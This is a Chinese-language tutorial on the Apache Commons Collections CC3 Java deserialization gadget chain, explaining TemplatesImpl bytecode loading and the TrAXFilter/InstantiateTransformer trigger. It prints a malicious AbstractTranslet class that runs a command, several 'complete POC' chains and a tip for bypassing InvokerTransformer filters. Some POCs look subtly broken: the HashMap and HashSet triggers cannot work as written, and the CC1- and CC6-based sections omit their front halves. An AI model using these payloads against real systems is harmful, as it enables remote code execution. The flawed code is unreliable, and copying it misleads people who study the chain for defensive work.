Java 反序列化:Apache Commons Collections CC3 利用链深度解析
字数 1814 2025-09-01 11:26:17

Apache Commons Collections CC3 反序列化漏洞深度解析

环境搭建

前置知识

CC3利用链是在CC1或CC6的基础上进行改变的,需要了解以下内容:

  1. CC1和CC6利用链:

  2. Java类加载机制:

    • Java类加载机制
    • Java动态加载字节码

TemplatesImpl类分析

动态加载字节码原理

Java程序编译和执行流程:

  1. Java源代码编译为字节码(.class文件)
  2. 类加载过程:
    • loadClass: 从已加载类缓存、父加载器等位置寻找类(双亲委派机制)
    • findClass: 根据基础URL制定的方式查找类,读取字节码
    • defineClass: 处理字节码,将其转换为真正的类

TemplatesImpl关键方法

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中定义了内部类TransletClassLoader,它:

  • 继承了ClassLoader
  • 重写了defineClass方法(默认default作用域)

ClassLoader.defineClass是protected的,不能被外部类直接调用,但TemplatesImpl中的defineTransletClasses方法调用了它:

private void defineTransletClasses() {
    // ...
    _class[i] = loader.defineClass(_bytecodes[i]);
    // ...
}

defineTransletClasses内部还会执行run方法,需要:

  • _bytecodes: 要传入的恶意字节码(可通过反射修改)
  • _tfactory: 必须是TransformerFactoryImpl对象,不能为空

调用链分析

  1. TemplatesImpl.getTransletInstance()调用defineTransletClasses(),前提:

    • _name不为null
    • _class为null
  2. TemplatesImpl.newTransformer()调用getTransletInstance(),且是public方法

完整利用链:

newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass()

恶意字节码构造

基本要求

TemplatesImpl对加载的字节码有要求:

  • 必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

示例恶意代码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;

public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) 
        throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, 
        SerializationHandler handler) throws TransletException {}
}

字节码处理

  1. 编译为.class文件
  2. 进行Base64编码

CC3利用链构造

基于CC1的CC3利用链

修改CC1的后半部分,使用TemplatesImpl代替Runtime.exec()

// 构造恶意TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};

基于CC6的CC3利用链

原理与CC1相同,只是前半部分使用CC6的触发方式:

// 构造恶意TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};

TrAXFilter类分析

ysoserial中的CC3利用链使用了TrAXFilter类:

public TrAXFilter(Templates templates) throws TransformerConfigurationException {
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    // ...
}

关键点

  1. TrAXFilter构造函数调用了templates.newTransformer()
  2. 参数是Templates对象
  3. 可以通过InstantiateTransformer触发构造函数

InstantiateTransformer利用

InstantiateTransformertransform方法:

public Object transform(Object input) {
    if (input instanceof Class == false) {
        throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " 
            + (input == null ? "null object" : input.getClass().getName()));
    }
    Constructor con = ((Class) input).getConstructor(iParamTypes);
    return con.newInstance(iArgs);
}

构造利用链:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};

完整POC示例

CC3(TransformedMap)完整POC

// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 构造TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

// 触发
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foo");

CC3(LazyMap)完整POC

// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 构造LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
lazyMap.get("anykey");

CC3(HashMap)完整POC

// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 构造HashMap触发
HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map map = LazyMap.decorate(hashMap, chain);
hashMap.hashCode();

CC3(HashSet)完整POC

// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templates }
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 构造HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo");
Map map = LazyMap.decorate(new HashMap(), chain);
Field field = HashSet.class.getDeclaredField("map");
field.setAccessible(true);
field.set(hashSet, map);
hashSet.add("bar");

优势与绕过

  1. 绕过InvokerTransformer限制:

    • 如果过滤了InvokerTransformer,可以使用InstantiateTransformer绕过
  2. 版本兼容性:

    • CC6+TrAXFilter组合能通杀Java 7和8版本

参考资源

  1. ysoserial CommonsCollections3.java
  2. Java CommonCollections3分析
  3. CC3链调试分析
Apache Commons Collections CC3 反序列化漏洞深度解析 环境搭建 JDK版本 : 8u65 Commons Collections版本 : 3.2.1 JDK下载地址 : Oracle Java SE 8 Archive Downloads 前置知识 CC3利用链是在CC1或CC6的基础上进行改变的,需要了解以下内容: CC1和CC6利用链 : Java 反序列化:Apache Commons Collections CC1 利用链深度解析 Java 反序列化:Apache Commons Collections CC6 利用链深度解析 Java类加载机制 : Java类加载机制 Java动态加载字节码 TemplatesImpl类分析 动态加载字节码原理 Java程序编译和执行流程: Java源代码编译为字节码(.class文件) 类加载过程: loadClass : 从已加载类缓存、父加载器等位置寻找类(双亲委派机制) findClass : 根据基础URL制定的方式查找类,读取字节码 defineClass : 处理字节码,将其转换为真正的类 TemplatesImpl关键方法 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类中定义了内部类 TransletClassLoader ,它: 继承了 ClassLoader 重写了 defineClass 方法(默认default作用域) ClassLoader.defineClass 是protected的,不能被外部类直接调用,但 TemplatesImpl 中的 defineTransletClasses 方法调用了它: defineTransletClasses 内部还会执行 run 方法,需要: _bytecodes : 要传入的恶意字节码(可通过反射修改) _tfactory : 必须是 TransformerFactoryImpl 对象,不能为空 调用链分析 TemplatesImpl.getTransletInstance() 调用 defineTransletClasses() ,前提: _name 不为null _class 为null TemplatesImpl.newTransformer() 调用 getTransletInstance() ,且是public方法 完整利用链: 恶意字节码构造 基本要求 TemplatesImpl 对加载的字节码有要求: 必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类 示例恶意代码 字节码处理 编译为.class文件 进行Base64编码 CC3利用链构造 基于CC1的CC3利用链 修改CC1的后半部分,使用 TemplatesImpl 代替 Runtime.exec() : 基于CC6的CC3利用链 原理与CC1相同,只是前半部分使用CC6的触发方式: TrAXFilter类分析 ysoserial中的CC3利用链使用了 TrAXFilter 类: 关键点 TrAXFilter 构造函数调用了 templates.newTransformer() 参数是 Templates 对象 可以通过 InstantiateTransformer 触发构造函数 InstantiateTransformer利用 InstantiateTransformer 的 transform 方法: 构造利用链: 完整POC示例 CC3(TransformedMap)完整POC CC3(LazyMap)完整POC CC3(HashMap)完整POC CC3(HashSet)完整POC 优势与绕过 绕过InvokerTransformer限制 : 如果过滤了 InvokerTransformer ,可以使用 InstantiateTransformer 绕过 版本兼容性 : CC6+TrAXFilter组合能通杀Java 7和8版本 参考资源 ysoserial CommonsCollections3.java Java CommonCollections3分析 CC3链调试分析